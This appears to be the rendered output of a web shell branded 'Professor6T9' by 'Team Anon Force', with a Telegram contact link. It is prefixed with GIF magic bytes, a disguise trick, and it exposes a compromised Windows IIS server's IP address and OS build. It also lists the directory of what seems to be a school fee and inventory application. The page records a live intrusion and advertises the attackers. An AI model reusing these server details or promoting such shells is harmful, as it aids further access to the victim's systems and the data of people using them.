GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
 Microsoft-IIS/10.0
 103.118.16.173

Name Type Size Owner/Group Permission Last Modified Actions
. dir - 0/0 0777 2018-02-04 02:50:15
.. dir - 0/0 0777 2024-11-21 09:54:00
CollectionMaster.master text/html 14.81 KB 0/0 0666 2018-07-23 11:00:39
Issue_Item_StockWise.aspx text/html 6.17 KB 0/0 0666 2018-07-23 11:00:41
Pending_And_Deposite_Fee_Report.aspx text/html 24.63 KB 0/0 0666 2018-07-23 11:00:41
Print_frm_CollectionByClass.aspx text/html 2.98 KB 0/0 0666 2018-07-23 11:00:41
ReportCollection.aspx text/html 2.57 KB 0/0 0666 2018-07-23 11:00:42
Report_Issue_Item_StockWise.aspx text/html 2.83 KB 0/0 0666 2018-07-23 11:00:42
Report_Pending_And_Deposite_Fee_Report.aspx text/html 25.48 KB 0/0 0666 2018-07-23 11:00:42
Report_frm_IssueItemDateWise.aspx text/html 3.41 KB 0/0 0666 2018-07-23 11:00:42
frmReport_CollectionByClass.aspx text/html 3.96 KB 0/0 0666 2018-07-23 11:00:41
frm_CollectionByClass.aspx text/html 6.03 KB 0/0 0666 2018-07-23 11:00:39
frm_CollectionByClass_ByDateWise.aspx text/html 7.28 KB 0/0 0666 2018-07-23 11:00:40
frm_CollectionHome.aspx text/plain 319 B 0/0 0666 2018-07-23 11:00:40
frm_DailyExpensesDetails.aspx text/html 10.26 KB 0/0 0666 2018-07-23 11:00:40
frm_DailyExpensesDetailsReport.aspx text/html 7.25 KB 0/0 0666 2018-07-23 11:00:40
frm_EditAndDeleteInventory.aspx text/html 4.42 KB 0/0 0666 2018-07-23 11:00:40
frm_ExpensesMaster.aspx text/html 3.55 KB 0/0 0666 2018-07-23 11:00:40
frm_IssueItemDateWise.aspx text/html 6.93 KB 0/0 0666 2018-07-23 11:00:40
frm_ItemMaster.aspx text/html 5.87 KB 0/0 0666 2018-07-23 11:00:40
frm_PrintDailyExpensesDetailsReport.aspx text/html 10.58 KB 0/0 0666 2018-07-23 11:00:41
frm_stock_in.aspx text/html 5.83 KB 0/0 0666 2018-07-23 11:00:41
© Professor6T9